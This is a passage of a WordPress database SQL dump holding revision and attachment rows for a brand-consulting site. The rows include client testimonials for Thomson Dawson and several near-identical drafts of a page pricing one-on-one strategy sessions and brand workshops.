(3135, 2, '2015-10-13 09:51:07', '2015-10-13 16:51:07', '<h1>Serving clients in diverse industry categories.</h1>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>\r\n\r\n“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.\r\n\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>\r\n<p class="quote">"Thomson masterfully guided me through the process of developing the website for my 22/7 Company. I wanted to go beyond what was generally available… Thomson "got it" and helped me capture my vision and make it happen, He''s a rare combination of creative genius and organized strategic planner. I thoroughly enjoyed our working process together, He''s the best!"</p>\r\n<p class="attribute"><em>Terry Tillman</em>\r\n<em> Founder and President</em>\r\n<em> 22/7 Company\r\nManagement Consulting</em></p>\r\n<p class="quote">"Thomson is a rare breed! He is a gifted and talented creative professional and inspiring leader. I would highly recommend him to anyone who wants to take their business to the next level!"</p>\r\n<p class="attribute">Roger Gould\r\nFounder and President\r\nGould Design Inc\r\nGraphic Design Agency</p>\r\n\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>\r\n</div>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-13 09:51:07', '2015-10-13 16:51:07', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3137, 2, '2015-10-13 10:00:04', '2015-10-13 17:00:04', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n&nbsp;', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 10:00:04', '2015-10-13 17:00:04', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3138, 2, '2015-10-13 10:39:30', '2015-10-13 17:39:30', '', 'Power Sessions', 0, '', 'inherit', 'open', 'closed', '', 'powersession-2', '', '', '2015-10-13 10:39:50', '2015-10-13 17:39:50', '', 3058, 'http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg', 0, 'attachment', 'image/jpeg', 0),
(3139, 2, '2015-10-13 10:43:45', '2015-10-13 17:43:45', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<em>Individual Session $500 USD </em>\r\n<em>(6) Sessions $2500 USD</em>\r\n<em>Payable in advance through PayPal</em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 10:43:45', '2015-10-13 17:43:45', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3140, 2, '2015-10-13 10:56:49', '2015-10-13 17:56:49', '', 'WHC Brand Workshops', 0, '', 'inherit', 'open', 'closed', '', 'whc-workshops', '', '', '2015-10-13 10:57:01', '2015-10-13 17:57:01', '', 3058, 'http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg', 0, 'attachment', 'image/jpeg', 0),
(3141, 2, '2015-10-13 11:04:29', '2015-10-13 18:04:29', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<em>Individual Session $500 USD </em>\r\n<em>(6) Sessions $2500 USD</em>\r\n<em>Payable in advance through PayPal</em>\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<div id="stcpDiv"><strong>Strategic Brand Development Workshops</strong></div>\r\n<div>We offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. Our workshop series is tailored to your specific brand development challenges and focus on brand strategy, positioning, brand architecture, brand storytelling and brand voice. Our workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand at every customer encounter.</div>\r\n<div></div>\r\n<div>\r\n<div id="stcpDiv">Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.</div>\r\n</div>\r\n&nbsp;\r\n\r\n&nbsp;', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:04:29', '2015-10-13 18:04:29', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0);
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(3143, 2, '2015-10-13 11:26:14', '2015-10-13 18:26:14', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<p id="stcpDiv"><strong>Strategic Brand Development Workshops</strong></p>\r\nWe offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables  management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete.</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop</em></div>\r\n<div>\r\n<div id="stcpDiv"><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\nInvestment: $10,000 USD each workshop\r\nSpecial discounts available when booking as a complete series\r\n\r\n</div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:26:14', '2015-10-13 18:26:14', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3142, 2, '2015-10-13 11:23:31', '2015-10-13 18:23:31', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<p id="stcpDiv"><strong>Strategic Brand Development Workshops</strong></p>\r\nWe offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables  management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete.</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop</em></div>\r\n<div>\r\n<div id="stcpDiv"><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered?</em></div>\r\n</div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter.\r\n<p id="stcpDiv">Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.</p>\r\nInvestment: $10,000 USD each workshop\r\nSpecial discounts available when booking as a complete series\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:23:31', '2015-10-13 18:23:31', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3144, 2, '2015-10-13 11:28:56', '2015-10-13 18:28:56', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<p id="stcpDiv"><strong>Strategic Brand Development Workshops</strong></p>\r\nWe offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop</em></div>\r\n<div>\r\n<div id="stcpDiv"><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em></div>\r\n<div></div>\r\n<div>All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.</div>\r\n<strong>Investment: $10,000 USD each workshop</strong>\r\n<strong> Special discounts available when booking as a complete series</strong>\r\n\r\n</div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:28:56', '2015-10-13 18:28:56', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3145, 2, '2015-10-13 11:30:10', '2015-10-13 18:30:10', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<p id="stcpDiv"><strong>Strategic Brand Development Workshops</strong></p>\r\nWe offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop</em></div>\r\n<div>\r\n<div id="stcpDiv"><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<strong>Investment: $10,000 USD each workshop</strong>\r\n<strong> Special discounts available when booking as a complete series</strong>\r\n\r\n</div></div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:30:10', '2015-10-13 18:30:10', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3150, 2, '2015-10-13 11:39:35', '2015-10-13 18:39:35', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>We offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series</strong></em></div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:39:35', '2015-10-13 18:39:35', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3149, 2, '2015-10-13 11:38:46', '2015-10-13 18:38:46', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>We offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines 